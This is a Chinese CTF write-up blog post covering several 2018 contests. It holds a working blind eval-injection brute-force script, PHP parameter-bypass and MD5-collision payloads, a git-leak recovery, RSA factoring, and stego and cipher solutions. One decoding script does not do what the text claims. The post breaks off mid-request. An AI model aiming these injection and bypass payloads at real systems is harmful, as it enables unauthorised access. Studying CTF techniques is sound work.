threst's Blog

无处安放的wp(不定期更)

ctf
2018/11/11 Share

tjctf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
var md5 = function (string) {

   function RotateLeft(lValue, iShiftBits) {
           return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits));
   }

   function AddUnsigned(lX,lY) {
           var lX4,lY4,lX8,lY8,lResult;
           lX8 = (lX & 0x80000000);
           lY8 = (lY & 0x80000000);
           lX4 = (lX & 0x40000000);
           lY4 = (lY & 0x40000000);
           lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF);
           if (lX4 & lY4) {
                   return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
           }
           if (lX4 | lY4) {
                   if (lResult & 0x40000000) {
                           return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
                   } else {
                           return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
                   }
           } else {
                   return (lResult ^ lX8 ^ lY8);
           }
   }

   function F(x,y,z) { return (x & y) | ((~x) & z); }
   function G(x,y,z) { return (x & z) | (y & (~z)); }
   function H(x,y,z) { return (x ^ y ^ z); }
   function I(x,y,z) { return (y ^ (x | (~z))); }

   function FF(a,b,c,d,x,s,ac) {
           a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));
           return AddUnsigned(RotateLeft(a, s), b);
   };

   function GG(a,b,c,d,x,s,ac) {
           a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));
           return AddUnsigned(RotateLeft(a, s), b);
   };

   function HH(a,b,c,d,x,s,ac) {
           a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));
           return AddUnsigned(RotateLeft(a, s), b);
   };

   function II(a,b,c,d,x,s,ac) {
           a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));
           return AddUnsigned(RotateLeft(a, s), b);
   };

   function ConvertToWordArray(string) {
           var lWordCount;
           var lMessageLength = string.length;
           var lNumberOfWords_temp1=lMessageLength + 8;
           var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 % 64))/64;
           var lNumberOfWords = (lNumberOfWords_temp2+1)*16;
           var lWordArray=Array(lNumberOfWords-1);
           var lBytePosition = 0;
           var lByteCount = 0;
           while ( lByteCount < lMessageLength ) {
                   lWordCount = (lByteCount-(lByteCount % 4))/4;
                   lBytePosition = (lByteCount % 4)*8;
                   lWordArray[lWordCount] = (lWordArray[lWordCount] | (string.charCodeAt(lByteCount)<<lBytePosition));
                   lByteCount++;
           }
           lWordCount = (lByteCount-(lByteCount % 4))/4;
           lBytePosition = (lByteCount % 4)*8;
           lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80<<lBytePosition);
           lWordArray[lNumberOfWords-2] = lMessageLength<<3;
           lWordArray[lNumberOfWords-1] = lMessageLength>>>29;
           return lWordArray;
   };

   function WordToHex(lValue) {
           var WordToHexValue="",WordToHexValue_temp="",lByte,lCount;
           for (lCount = 0;lCount<=3;lCount++) {
                   lByte = (lValue>>>(lCount*8)) & 255;
                   WordToHexValue_temp = "0" + lByte.toString(16);
                   WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length-2,2);
           }
           return WordToHexValue;
   };

   function Utf8Encode(string) {
           string = string.replace(/\r\n/g,"\n");
           var utftext = "";

           for (var n = 0; n < string.length; n++) {

                   var c = string.charCodeAt(n);

                   if (c < 128) {
                           utftext += String.fromCharCode(c);
                   }
                   else if((c > 127) && (c < 2048)) {
                           utftext += String.fromCharCode((c >> 6) | 192);
                           utftext += String.fromCharCode((c & 63) | 128);
                   }
                   else {
                           utftext += String.fromCharCode((c >> 12) | 224);
                           utftext += String.fromCharCode(((c >> 6) & 63) | 128);
                           utftext += String.fromCharCode((c & 63) | 128);
                   }

           }

           return utftext;
   };

   var x=Array();
   var k,AA,BB,CC,DD,a,b,c,d;
   var S11=7, S12=12, S13=17, S14=22;
   var S21=5, S22=9 , S23=14, S24=20;
   var S31=4, S32=11, S33=16, S34=23;
   var S41=6, S42=10, S43=15, S44=21;

   string = Utf8Encode(string);

   x = ConvertToWordArray(string);

   a = 0x67452301; b = 0xEFCDAB89; c = 0x98BADCFE; d = 0x10325476;

   for (k=0;k<x.length;k+=16) {
           AA=a; BB=b; CC=c; DD=d;
           a=FF(a,b,c,d,x[k+0], S11,0xD76AA478);
           d=FF(d,a,b,c,x[k+1], S12,0xE8C7B756);
           c=FF(c,d,a,b,x[k+2], S13,0x242070DB);
           b=FF(b,c,d,a,x[k+3], S14,0xC1BDCEEE);
           a=FF(a,b,c,d,x[k+4], S11,0xF57C0FAF);
           d=FF(d,a,b,c,x[k+5], S12,0x4787C62A);
           c=FF(c,d,a,b,x[k+6], S13,0xA8304613);
           b=FF(b,c,d,a,x[k+7], S14,0xFD469501);
           a=FF(a,b,c,d,x[k+8], S11,0x698098D8);
           d=FF(d,a,b,c,x[k+9], S12,0x8B44F7AF);
           c=FF(c,d,a,b,x[k+10],S13,0xFFFF5BB1);
           b=FF(b,c,d,a,x[k+11],S14,0x895CD7BE);
           a=FF(a,b,c,d,x[k+12],S11,0x6B901122);
           d=FF(d,a,b,c,x[k+13],S12,0xFD987193);
           c=FF(c,d,a,b,x[k+14],S13,0xA679438E);
           b=FF(b,c,d,a,x[k+15],S14,0x49B40821);
           a=GG(a,b,c,d,x[k+1], S21,0xF61E2562);
           d=GG(d,a,b,c,x[k+6], S22,0xC040B340);
           c=GG(c,d,a,b,x[k+11],S23,0x265E5A51);
           b=GG(b,c,d,a,x[k+0], S24,0xE9B6C7AA);
           a=GG(a,b,c,d,x[k+5], S21,0xD62F105D);
           d=GG(d,a,b,c,x[k+10],S22,0x2441453);
           c=GG(c,d,a,b,x[k+15],S23,0xD8A1E681);
           b=GG(b,c,d,a,x[k+4], S24,0xE7D3FBC8);
           a=GG(a,b,c,d,x[k+9], S21,0x21E1CDE6);
           d=GG(d,a,b,c,x[k+14],S22,0xC33707D6);
           c=GG(c,d,a,b,x[k+3], S23,0xF4D50D87);
           b=GG(b,c,d,a,x[k+8], S24,0x455A14ED);
           a=GG(a,b,c,d,x[k+13],S21,0xA9E3E905);
           d=GG(d,a,b,c,x[k+2], S22,0xFCEFA3F8);
           c=GG(c,d,a,b,x[k+7], S23,0x676F02D9);
           b=GG(b,c,d,a,x[k+12],S24,0x8D2A4C8A);
           a=HH(a,b,c,d,x[k+5], S31,0xFFFA3942);
           d=HH(d,a,b,c,x[k+8], S32,0x8771F681);
           c=HH(c,d,a,b,x[k+11],S33,0x6D9D6122);
           b=HH(b,c,d,a,x[k+14],S34,0xFDE5380C);
           a=HH(a,b,c,d,x[k+1], S31,0xA4BEEA44);
           d=HH(d,a,b,c,x[k+4], S32,0x4BDECFA9);
           c=HH(c,d,a,b,x[k+7], S33,0xF6BB4B60);
           b=HH(b,c,d,a,x[k+10],S34,0xBEBFBC70);
           a=HH(a,b,c,d,x[k+13],S31,0x289B7EC6);
           d=HH(d,a,b,c,x[k+0], S32,0xEAA127FA);
           c=HH(c,d,a,b,x[k+3], S33,0xD4EF3085);
           b=HH(b,c,d,a,x[k+6], S34,0x4881D05);
           a=HH(a,b,c,d,x[k+9], S31,0xD9D4D039);
           d=HH(d,a,b,c,x[k+12],S32,0xE6DB99E5);
           c=HH(c,d,a,b,x[k+15],S33,0x1FA27CF8);
           b=HH(b,c,d,a,x[k+2], S34,0xC4AC5665);
           a=II(a,b,c,d,x[k+0], S41,0xF4292244);
           d=II(d,a,b,c,x[k+7], S42,0x432AFF97);
           c=II(c,d,a,b,x[k+14],S43,0xAB9423A7);
           b=II(b,c,d,a,x[k+5], S44,0xFC93A039);
           a=II(a,b,c,d,x[k+12],S41,0x655B59C3);
           d=II(d,a,b,c,x[k+3], S42,0x8F0CCC92);
           c=II(c,d,a,b,x[k+10],S43,0xFFEFF47D);
           b=II(b,c,d,a,x[k+1], S44,0x85845DD1);
           a=II(a,b,c,d,x[k+8], S41,0x6FA87E4F);
           d=II(d,a,b,c,x[k+15],S42,0xFE2CE6E0);
           c=II(c,d,a,b,x[k+6], S43,0xA3014314);
           b=II(b,c,d,a,x[k+13],S44,0x4E0811A1);
           a=II(a,b,c,d,x[k+4], S41,0xF7537E82);
           d=II(d,a,b,c,x[k+11],S42,0xBD3AF235);
           c=II(c,d,a,b,x[k+2], S43,0x2AD7D2BB);
           b=II(b,c,d,a,x[k+9], S44,0xEB86D391);
           a=AddUnsigned(a,AA);
           b=AddUnsigned(b,BB);
           c=AddUnsigned(c,CC);
           d=AddUnsigned(d,DD);
      }

    var temp = WordToHex(a)+WordToHex(b)+WordToHex(c)+WordToHex(d);

    return temp.toLowerCase();
}

$(document).ready(function() {
    $("#login-form").submit(function() {
        if (md5($("#password").val()).toLowerCase() === "698967f805dea9ea073d188d73ab7390") {
            $("html").html("<h1>Login Succeeded!</h1>");
        }
        else {
            $("html").html("<h1>Login Failed!</h1>");
        }
    })
});

其实就是那个md5解密，这些都是虚的

金融业网络安全攻防比赛热身赛

babygit

0x01

1
2
3
4
5
6
7
8
9
10
11
12
threst@kali:~/pentest/GitHack/dist/54.223.83.192_9998$ git log
commit 96bc79270bdd8ff7858e73eb77d73a2bf93aa085 (HEAD -> master)
Author: Admin <admin@example.com>
Date:   Wed Jul 25 06:16:26 2018 +0000

    add message

commit bb0c97ee3c3e08403ce50391d1ae110ce6d6d41c
Author: Admin <admin@example.com>
Date:   Wed Jul 25 06:16:26 2018 +0000

    add flag

0x02

1
2
3
threst@kali:~/pentest/GitHack/dist/54.223.83.192_9998$ git reset bb0c97ee3c3e08403ce50391d1ae110ce6d6d41c
重置后取消暂存的变更：
D flag.txt

0x03

1
2
3
4
5
threst@kali:~/pentest/GitHack/dist/54.223.83.192_9998$ git checkout flag.txt
threst@kali:~/pentest/GitHack/dist/54.223.83.192_9998$ ls
50x.html  flag.txt  index.html  README.md
threst@kali:~/pentest/GitHack/dist/54.223.83.192_9998$ cat flag.txt
flag{G1t_D1s?1}

calculate

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
<center>
<title>Calculate</title>
<h1>Calculate</h1>
<form>
<input class="form-control col-md-4" type=text name=t placeholder='Input your team token'  />
<input class="form-control col-md-4" type=text name=value1 placeholder='Value 1 (Example: 1  abc)' />
<input class="form-control col-md-4" type=text name=op placeholder='Operator (Example: + - * ** / // == != )' />
<input class="form-control col-md-4" type=text name=value2 placeholder='Value 2 (Example: 1  abc)' />
<input class="form-control col-md-4 btn btn-success" type=submit value=EVAL />
</form>
<a href='?source=1'>Source</a>
</center>

<pre>#!/usr/bin/env python3
import cgi;
import sys
from html import escape
from secret import get_flag

OK_200 = &quot;&quot;&quot;Content-type: text/html

&lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css&quot;&gt;
&lt;center&gt;
&lt;title&gt;Calculate&lt;/title&gt;
&lt;h1&gt;Calculate&lt;/h1&gt;
&lt;form&gt;
&lt;input class=&quot;form-control col-md-4&quot; type=text name=t placeholder=&#x27;Input your team token&#x27; %s /&gt;
&lt;input class=&quot;form-control col-md-4&quot; type=text name=value1 placeholder=&#x27;Value 1 (Example: 1  abc)&#x27; /&gt;
&lt;input class=&quot;form-control col-md-4&quot; type=text name=op placeholder=&#x27;Operator (Example: + - * ** / // == != )&#x27; /&gt;
&lt;input class=&quot;form-control col-md-4&quot; type=text name=value2 placeholder=&#x27;Value 2 (Example: 1  abc)&#x27; /&gt;
&lt;input class=&quot;form-control col-md-4 btn btn-success&quot; type=submit value=EVAL /&gt;
&lt;/form&gt;
&lt;a href=&#x27;?%ssource=1&#x27;&gt;Source&lt;/a&gt;
&lt;/center&gt;
&quot;&quot;&quot;

arguments = cgi.FieldStorage()
if &#x27;t&#x27; in arguments:
    token = str(arguments[&#x27;t&#x27;].value)
    print(OK_200 % (&quot;value=&quot;+token+&#x27; readonly&#x27;, &quot;t=&quot;+token+&quot;&amp;&quot;))
else:
    print(OK_200 % (&quot;&quot;, &quot;&quot;))

if &#x27;source&#x27; in arguments:
    source = arguments[&#x27;source&#x27;].value
else:
    source = 0

if source == &#x27;1&#x27;:
    print(&#x27;&lt;pre&gt;&#x27;+escape(str(open(__file__,&#x27;r&#x27;).read()))+&#x27;&lt;/pre&gt;&#x27;)

if &#x27;value1&#x27; in arguments and &#x27;value2&#x27; in arguments and &#x27;op&#x27; in arguments and &#x27;t&#x27; in arguments:

    FLAG = &#x27;flag{&#x27; + get_flag(arguments[&#x27;t&#x27;].value) + &#x27;}&#x27;

    def get_value(val):
        val = str(val)[:64]
        if str(val).isdigit(): return int(val)
        blacklist = [&#x27;(&#x27;,&#x27;)&#x27;,&#x27;[&#x27;,&#x27;]&#x27;,&#x27;\&#x27;&#x27;,&#x27;&quot;&#x27;] # I don&#x27;t like tuple, list and dict.
        if val == &#x27;&#x27; or [c for c in blacklist if c in val] != []:
            print(&#x27;&lt;center&gt;Invalid value&lt;/center&gt;&#x27;)
            sys.exit(0)
        return val

    def get_op(val):
        val = str(val)[:2]
        list_ops = [&#x27;+&#x27;,&#x27;-&#x27;,&#x27;/&#x27;,&#x27;*&#x27;,&#x27;=&#x27;,&#x27;!&#x27;]
        if val == &#x27;&#x27; or val[0] not in list_ops:
            print(&#x27;&lt;center&gt;Invalid op&lt;/center&gt;&#x27;)
            sys.exit(0)
        return val

    op = get_op(arguments[&#x27;op&#x27;].value)
    value1 = get_value(arguments[&#x27;value1&#x27;].value)
    value2 = get_value(arguments[&#x27;value2&#x27;].value)

    if str(value1).isdigit() ^ str(value2).isdigit():
        print(&#x27;&lt;center&gt;Types of the values don\&#x27;t match&lt;/center&gt;&#x27;)
        sys.exit(0)

    calc_eval = str(repr(value1)) + str(op) + str(repr(value2))

    print(&#x27;&lt;div class=container&gt;&lt;div class=row&gt;&lt;div class=col-md-2&gt;&lt;/div&gt;&lt;div class=&quot;col-md-8&quot;&gt;&lt;pre&gt;&#x27;)
    print(&#x27;&gt;&gt;&gt;&gt; print(&#x27;+escape(calc_eval)+&#x27;)&#x27;)

    try:
        result = str(eval(calc_eval))
        if result.isdigit() or result == &#x27;True&#x27; or result == &#x27;False&#x27;:
            print(result)
        else:
            print(&quot;Invalid&quot;) # Sorry we don&#x27;t support output as a string due to security issue.
    except:
        print(&quot;Invalid&quot;)


    print(&#x27;&gt;&gt;&gt; &lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#x27;)
</pre>

writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests, re


def calc(v1, v2, op, s):
    u = "http://54.223.83.192:8888/cgi-bin/calculate.py?"
    payload = dict(value1=v1, value2=v2, op=op, source=s,t=hh)
    #print payload
    r = requests.get(u, params=payload)
    #print r.url
    res = re.findall("<pre>\n>>>>([\s\S]*)\n>>> <\/pre>",
                     r.content)[0].split('\n')[1]
    assert (res != 'Invalid')
    return res == 'True'
    # print r.content


def check(mid):
    s = flag + chr(mid)
    return calc(v1, v2, op, s)


def bin_search(seq=xrange(0x20, 0x80), lo=0, hi=None):
    assert (lo >= 0)
    if hi == None: hi = len(seq)
    while lo < hi:
        mid = (lo + hi) // 2
        # print lo, mid, hi, "\t",
        if check(seq[mid]): hi = mid
        else: lo = mid + 1
    return seq[lo]


flag = ''
v1, v2, op, s ,hh= 'x', "+FLAG<value1+source#", "+'", '',"1a69aa60224a7095ececda5c7c6834fc"

while (1):
    flag += chr(bin_search() - 1)
    print flag

参考：https://xz.aliyun.com/t/2456

网鼎杯wp

套娃

打开文件看见很多图片,首先判断lsb,用工具zsteg,一张一张试，试到第六张zsteg 6.png
出flag

1
2
3
4
5
6
7
imagedata           .. text: "-+,554$&&"
b1,rgb,lsb,xy       .. text: "^;lI;bN$"
b1,bgr,lsb,xy       .. text: "+flag{03a253f5-8e93-4533-bcfc-af908830095d}\nq"
b2,b,msb,xy         .. file: Encore - version 8432
b4,r,lsb,xy         .. text: "iEsx\"gwN)"
b4,g,lsb,xy         .. text: "yEsx\"gwN)"
b4,b,msb,xy         .. text: "{OL?i9Ww"

babyrsa

首先求出q,p

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import random

def gcd(a, b):
   if a < b:
     a, b = b, a
   while b != 0:
     temp = a % b
     a = b
     b = temp
   return a

def getpq(n,e,d):
  p = 1
  q = 1
  while p==1 and q==1:
    k = d * e - 1
    g = random.randint ( 0 , n )
    while p==1 and q==1 and k % 2 == 0:
      k /= 2
      y = pow(g,k,n)
      if y!=1 and gcd(y-1,n)>1:
        p = gcd(y-1,n)
        q = n/p
  return p,q

def main():
  n =365848589691553391654453815696801609393691558975114732077589431735072735814004481321693204054611153742844719038444697593327493027785795731389621927670788503335861977736740530534583572225955976966446771693720421426616666151538067479984725761741317847115913974275314572559550814811157603376899910638368755166255776849626761808720772583206050387900451906315871548607212450421821284358760939660687558588799753487824506759639032283177034815892289194765173975342074810666614953387403646634191147782168926568900983361174986224868620163303631776464544385042160475855173792780028858673004579549168611488908206940265042017827224145445864849990033230038346962998044409425059655414595541354712964867076540952852074402602485254837693009606256646491881886402251519107628767780560029195077356603998621239496833842620813594476086809217145741837067697701029006079475655230057641122885601163764359304119539318186498359110652713132230601632984636292710845264886583673643096710521658506038045125724977714211793704349604343253187208130136333839351343850952892593409667791896415744436543839302830842902421646274217466522255794836216649020356914498443158290307092169834254304137975684324590877396301465368942446331758175055737212871262544202124864201404357
  e = 65537
  d = 171667543985758425014232627985840717336387122108163758500542139626729279212540485673813409388397427405892256280730752710530037468765259171638824687119216443453078833931370749271396524300663719786871097595637432285751800013612137436020725492852419342272435212733486026753609513054804440530485467017884797272879406284689903095072725307517165288748564887361729738358011463377509622604034612759898436024272853796444439505507110804160400608180412245257162062494766079887998276493727771202445125297118556385657613871902180087388189988280105656191733965985878495407148701887047735812018200868151321246119065258205755102189932618492331181731032930671506379119003614308043854723142913145153824556828017544028126772950732350030371733003652817854070184981540813302478821473998511699291112000260313162924676245915026226201977284465842505256191235822318812659628683043195357384607192367037650400361829016395922074065034014120534209020328864830006606839179592932609256661738193663329776230050481312159600570791315455079679469956882283489829258240404557309270261381865785081719442470884775430068193960751589033994677379472095235901602941733635505402949964622214247924792042997962235246007680923289071880896909708764598890244005005286926994431628289
  p,q = getpq(n,e,d)
  print hex(p),hex(q)

if __name__ == '__main__':
  main()

然后将enc保存起来为en文件

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
import rsa
import base64
n = 365848589691553391654453815696801609393691558975114732077589431735072735814004481321693204054611153742844719038444697593327493027785795731389621927670788503335861977736740530534583572225955976966446771693720421426616666151538067479984725761741317847115913974275314572559550814811157603376899910638368755166255776849626761808720772583206050387900451906315871548607212450421821284358760939660687558588799753487824506759639032283177034815892289194765173975342074810666614953387403646634191147782168926568900983361174986224868620163303631776464544385042160475855173792780028858673004579549168611488908206940265042017827224145445864849990033230038346962998044409425059655414595541354712964867076540952852074402602485254837693009606256646491881886402251519107628767780560029195077356603998621239496833842620813594476086809217145741837067697701029006079475655230057641122885601163764359304119539318186498359110652713132230601632984636292710845264886583673643096710521658506038045125724977714211793704349604343253187208130136333839351343850952892593409667791896415744436543839302830842902421646274217466522255794836216649020356914498443158290307092169834254304137975684324590877396301465368942446331758175055737212871262544202124864201404357
q = 21247215740957134093265550307601596334565934182288901633479787419858595507309542143291010899116196305518233534420568241312971809880837699847400521241640799368655041150575554308730271881769239094444859039192040949365669348829967204647597799647400611871600471392643211141324508902013965629910849583588860496396894218207070653018491227851599590460886901861118814380124225957234489558977546955544744088926474539812805322440263336981775000388601318263891815294818558967365443417213622344902893006222500539208416032217024199412011407065597780149434489493090516057515224711817526865207811206081845018578244352022299726352429
p = 17218660277747658661570321204242764803630206984608091050735513899954607259990197682920217962729554631925287717895042750367376053893825222669682720379767777978420372647078471394057423219108293122309702127813213538098587207320396013417905225613995163882055903136983578393368677405597005083234898687252223168153402377438770956193242614092327835450469896527227274247481162714635222596608814392174415700802919488373733075163465872659516094599061925501245246745540660613671330140533678955280470168225630164182057506377339944396256899408381867150087697255700045339651723565686838745271371156317781031620433061297464511939833
e = 65537
d = int(gmpy2.invert(e,(p-1)*(q-1)))
c = 595907910014897566676759273220494180110504405309206928262077375196851872198255475894354731091152236001815566589109149418500941957601976338444865345923284445575231525767013366811625019790193104404700935059348406110259409132999154793422284855871479573037198863168316139619015230842153164456415165712733168847053549666987429231550045602429647190887296150436097504253951033086041023290243394588112378415597355331197477353268041702315544498517593435582803377846605416492328428549762726997373778610297631262936044023082133389527010183648204602019909093544050106545010340111158865651714595416550877266379460461202508425081538939755155981052462387069127219471271252329219741973931444515475042747296537826297597609877185091023146800772255931184176842795811493106605043628420424570356086529035683658247137732622727936360278626896359520245649007121507751791963774871011757969835056581831379451191486773951068884218824708768124265822406883125206366165049254095060850508149142077001002691653724105471247840338330950732651135526020758912039445132132220384552395727000975811496722746325764235912590648009260905626046623587310131509221213855320504560598181447448347942432104726593025899197575968063366667049857458434444589861188997071804152577554008432377364384618217386050104523193905875708680446628674323881765587061198043253617150813946435891423000351453751011920626958050766691194569988935791651947014346084202733308461380228052483711867634858130530821103064974133728497007084932069068016812055942718671316269862791929104093268433719717198448532384887239504852113742140342891243245503616771575963935904547388496016245046067614357190925132118951805544371988522892491794366705168091658
privatekey = rsa.PrivateKey(n,e,d,p,q)
with open("en","r") as f:
    print(rsa.decrypt(base64.b64decode(f.read()),privatekey).decode())

得到flag
flag{w3lC0M3_t0_rS4_w0RlD}

安恒_奇怪的恐龙特性

http://101.71.29.5:10009

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
    echo 'A_A,have fun';
}
elseif ($str<9999999999) {
    echo 'A_A,too small';
}
elseif ((string)$str>0) {
    echo 'A_A,too big';
}
else{
    echo file_get_contents('flag.php');

}

?> A_A,too small

知识点

1
2
3
4
5
6
http://localhost/aaa/?p=222 (附带查询)
结果：
$_SERVER['QUERY_STRING'] = "p=222";
$_SERVER['REQUEST_URI']  = "/aaa/?p=222";
$_SERVER['SCRIPT_NAME']  = "/aaa/index.php";
$_SERVER['PHP_SELF']     = "/aaa/index.php";

简单点解释就是当代码中存在$_REQUEST['user_id']里面类似的参数的时候，我们在url上可以这样a.php?user.id传参去进行绕过,这样进去之后也能表示$_REQUEST['user_id']的值，同样可以绕过的符号还有+，[ 等，应该说是php的一个小特性，上面讲的很清楚了，

payload：http://101.71.29.5:10007/?A+A[]=admin

loli

想到使用0xFF异或整个文件，脚本如下：

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
# coding=utf-8

def xor():
    with open('./1.png', 'rb') as f, open('xor.png', 'wb') as wf:
        for each in f.read():
            wf.write(chr(ord(each) ^ 0xff))


if __name__ == '__main__':
    xor()

play fair加密(关键字公平)

http://www.practicalcryptography.com/ciphers/classical-era/playfair/

例题

vv公司称，他们给出了最为公平的游戏规则，你能猜到是什么吗？ 规则：FMGKYBXTSFBNCQDSPT，附件：ZKLIPOAGSUMDWFHCBVTRYENXQ. 答案的格式是key{xxxxx}，xxx为解密内容大写，所以答案是

1
2
3
4
# python3
# 在所在pycipher模块下导入
>>> from pycipher import Playfair
 >>> Playfair('ZKLIPOAGSUMDWFHCBVTRYENXQ').decipher('FMGKYBXTSFBNCQDSPT') 'WHALECTFISVERYFAIR'

rfc4042

utf-9编码

1
2
3
4
5
6
7
8
9
# python2
import utf9
f1 = open('flag_is_here_rfc4042','r')
f2 = open('flag.txt','w')
str1 = f1.read()
print utf9.utf9decode(str1)
f2.write(utf9.utf9decode(str1))
f1.close()
f2.close()

得到

1
_____*((__//__+___+______-____%____)**((___%(___-_))+________+(___%___+_____+_______%__+______-(______//(_____%___)))))+__*(((________/__)+___%__+_______-(________//____))**(_*(_____+_____)+_______+_________%___))+________*(((_________//__+________%__)+(_______-_))**((___+_______)+_________-(______//__)))+_______*((___+_________-(______//___-_______%__%_))**(_____+_____+_____))+__*(__+_________-(___//___-_________%_____%__))**(_________-____+_______)+(___+_______)**(________%___%__+_____+______)+(_____-__)*((____//____-_____%____%_)+_________)**(_____-(_______//_______+_________%___)+______)+(_____+(_________%_______)*__+_)**_________+_______*(((_________%_______)*__+_______-(________//________))**_______)+(________/__)*(((____-_+_______)*(______+____))**___)+___*((__+_________-_)**_____)+___*(((___+_______-______/___+__-_________%_____%__)*(___-_+________/__+_________%_____))**__)+(_//_)*(((________%___%__+_____+_____)%______)+_______-_)**___+_____*((______/(_____%___))+_______)*((_________%_______)*__+_____+_)+___//___+_________+_________/___

使用脚本解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# python2
import binascii
_ = 1
__ = 2
___ = 3
____ = 4
_____ = 5
______ = 6
_______ = 7
________ = 8
_________ = 9
f = open('flag.txt','r')
a = f.read()
print a

得到一串数字5287002131074331513
转换成16进制为495f346d2d6b3379
转换成字符串就是最后的flagI_4m-k3y

python中16进制转ascii代码

1
2
3
4
5
6
7
# -*- coding: utf-8 -*-
import binascii
#16进制整数转ASCii编码字符串
a = 0x665554
b = hex(a)  #转换成相同的字符串即'0x665554'
b = b[2:]   #截取掉'0x'
c = binascii.a2b_hex(b) #转换成ASCii编码的字符串

这里我们使用

1
2
3
4
In [2]: import binascii
In [3]: a = '495f346d2d6b3379'
In [4]: print(binascii.a2b_hex(a))
I_4m-k3y

ASCii编码字符串转十六进制整数

1
2
3
4
5
6
7
8
9
# -*- coding: utf-8 -*-
import binascii
c = 'fUT'
e = 0   #暂存结果
for i in c:
    d = ord(i)  #单个字符转换成ASCii码
    e = e*256 + d   #将单个字符转换成的ASCii码相连
print("e:%x" %e)
print type(e)

kill(2016全国大学生信息安全竞赛)

1
2
threst@threst:~/下载$ strings kill.pcapng | grep flag
=flag{roses_r_blue_violets_r_r3d_mayb3_harambae_is_not_kill}

2018“安恒杯”Web安全测试大赛（秋季预选赛）

输入试试

http://114.55.36.69:8003

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>Input</title>
</head>
<body>
<div align="center">
    <input type="text" id="flag" style="width: 200px;margin-left: 100px;" value="" />
    <input type="button" name="" id="" onclick="check();" value="提交"/>
</div>
</body>
<script>
    function check(){
        var flag = document.getElementById("flag").value;
        var str = "d84d9657e5e5e" || 0;
        var str = str + ("ad2ad3fe" && 2);
        var str = str + "a2da9494b8" + "ddea4fd4";
        var str = str.split("").reverse().join("");
        if (str == flag){
            alert("恭喜你已经找到flag！");
        }
    }
</script>
</html>

直接控制台
flag:4df4aedd8b4949ad2a2e5e5e7569d48d

简单的md5

简单的md5 http://114.55.36.69:8004

源码:easy MD5 cracking <!--$_POST['data1']!=$_POST['data2']-->fail
payload:data1[]=1&data2[]=2
flag{401cf19d304e557349fecda18110c138}

传个flag试试

http://114.55.36.69:8012

随便ｐｏｓｔ一个ｆｌａｇ参数，提示要１０位以上，提交十位以上直接出答案

flag{858a14671c27804b63e6e96b0acdfdd7}

md5 crash

http://114.55.36.69:8006

源码

1
MD5 cracking<!-- if((string)$_POST['data1']!==(string)$_POST['data2']&&md5($_POST['data1'])===md5($_POST['data2']))-->fail

payload:data1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&data2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

flag:flag{9bd1ee7355b58e53214adb9a37b4cb82}

简单的新闻搜索网站

http://114.55.36.69:8010

保存请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
